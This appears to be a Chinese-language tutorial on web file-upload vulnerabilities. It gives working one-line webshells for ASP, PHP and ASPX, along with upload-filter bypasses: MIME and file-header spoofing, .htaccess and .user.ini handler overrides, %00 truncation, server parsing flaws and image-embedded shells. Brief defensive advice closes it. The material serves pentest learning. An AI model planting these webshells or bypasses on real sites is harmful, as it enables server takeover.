WEB漏洞——文件上傳

有關文件上傳的知識

  • 為什麼文件上傳存在漏洞

  上傳文件時,如果服務端程式碼未對客戶端上傳的文件進行嚴格的驗證和過濾就容易造成可以上傳任意文件的情況,包括上傳腳本文件(asp、aspx、php、jsp等格式的文件)。

常用一句話木馬

  asp一句話木馬:
   <%execute(request(「test」))%>
  php一句話木馬:
   <?php @eval($_POST[test]);?>
  aspx一句話木馬:
  <%@ Page Language=「Jscript」%>
  <%eval(Request.Item[「test」])%>

 

  • 危害

  非法用戶可以利用上傳的惡意腳本文件控制整個網站,甚至控制伺服器。這個惡意的腳本文件,又被稱為 Webshell,也可將 Webshell本稱為一種網頁後門Webshell本具有非常強大的功能,比如查看伺服器目錄、伺服器中的文件,執行系統命令等。

 

JS檢測繞過

JS檢則繞過上傳漏洞常見於用戶選擇文件上傳的場景,如果上傳文件的後綴不被允許,則會彈框告知,此時上傳文件的數據包並沒有發送到服務端,只是在客戶端瀏覽器使用 javascript)對數據包進行檢測。

三種方法繞過js檢測

  • 直接瀏覽器設置禁用JavaScript(但一般禁用了js頁面很多正常的功能無法運行)
  • 刪除JS前端驗證處的程式碼
  • 使用BurpSuite抓包:先把php木馬改成jpg後綴上傳,經過前端驗證之後抓到包修改回php後綴即可

 

文件類型(MIME)檢測繞過

上傳一個php文件抓包看看,看到Content-Type顯示的是application/octet-stream

 接著再上傳一個普通的圖片看看,變成了image/jpeg

如果服務端通過這個來判斷文件類型,那麼就可以被繞過,直接抓包修改文件類型即可

 

文件內容頭校驗

服務端通過文件內容中的文件頭來判斷是否是非法上傳

同樣可以通過抓包修改繞過

這裡給出兩個好記的文件頭

格式

文件頭

GIF 

GIF89a
BMP  BM

 

文件內容<?校驗繞過

使用Javascript繞過

<script language="php">
@eval($_POST['test']);
</script>

 

Apache解析漏洞

在 Apache的解析順序中,是從右到左開始解析文件後綴的,如果最右側的擴展名不可識別,就繼續往左判斷,直到遇到可以解析的文件後綴為止。

例如一個文件名為test.php.aaa.bbb.ccc的文件,Apache會從ccc的位置往php的位置開始嘗試解析 ,如果ccc不屬於Apache能解析的後綴名,那麼Apache就會嘗試去解析bbb,這樣一直往前嘗試,直到遇到一個能解析的拓展名為止

 

Nginx解析漏洞

這個漏洞造成的原因只要是php配置文件中的選項cgi.fi:x_pathinfo
例如/1.txt/1.php 由於1.php是不存在的,就會把1.txt文件當成php文件來執行。

 

IIS 5.X~6.X解析漏洞

當建立.asp .asa的文件夾時,其目錄下的所有文件都會當作asp 文件來解析。

當文件位 .asp;1.jpg時,iis同樣會把他當作ASP腳本來執行。

黑名單繞過——.htaccess文件

創建一個名為.htaccess的文件,寫入以下程式碼,上傳到目標網站

SetHandler application/x-httpd-php  //方法一:將所有文件解析成php
AddType  application/x-httpd-php .png   //方法二:將jpg文件解析成php

接著將一句話木馬以圖片的形式保存,在上傳到目標網站,圖片將會以php執行  

 

黑名單繞過——.uer.ini文件

.uer,ini跟.htaccess後門比,適用範圍更廣,nginx/apache/IIS都有效,而.htaccess只適用於apache

首先,構造一個.user.ini文件,內容如下:

GIF89a                  
auto_prepend_file=test.jpg  //指定在主文件之前自動解析的文件的名稱,並包含該文件,就像使用require函數調用它一樣。

上傳到目標網站。接著將一句話木馬以圖片的形式保存,在上傳到目標網站,圖片將會以php執行

 

文件截斷%00繞過

截斷原理:由於00代表結束符,所以會把00後面的所有字元刪除。

截斷條件:PHP版本小於5.3.4,PHP的 magic_quotes_gpc為OFF狀態。 

 修改參數 test.php%00.jpg,文件被保存到伺服器時,%00會把「jpg”和按時間生成的圖片文件名全部截斷,那麼文件名就剩下test.php,因此成功上傳了 Webshell

 

大小寫/雙寫繞過

沒啥好寫如題

 

圖片馬

將php文件和jpg文件放一起,打開cmd輸入

copy test.php /b + 2.jpg /a 2.png 

或者直接用記事本打開jpg圖片,在裡面輸入一句話木馬,即可做出圖片馬

但是圖片馬不能直接利用,需要通過文件包含來利用 

 

 

數據溢出繞過waf

在網上還看到了一個有意思的繞過方法,垃圾數據緩衝溢出

 一般文件上傳的時候會有這樣的格式,就在filename的前面塞大量的垃圾數據,繞過waf,注意垃圾數據後面要加一個分號

 

 

文件上傳漏洞防禦

  • 通過白名單的方式判斷文件是否合法
  • 對上傳後的文件進行重命名,例如rand(10,99).jpg

 

Tags: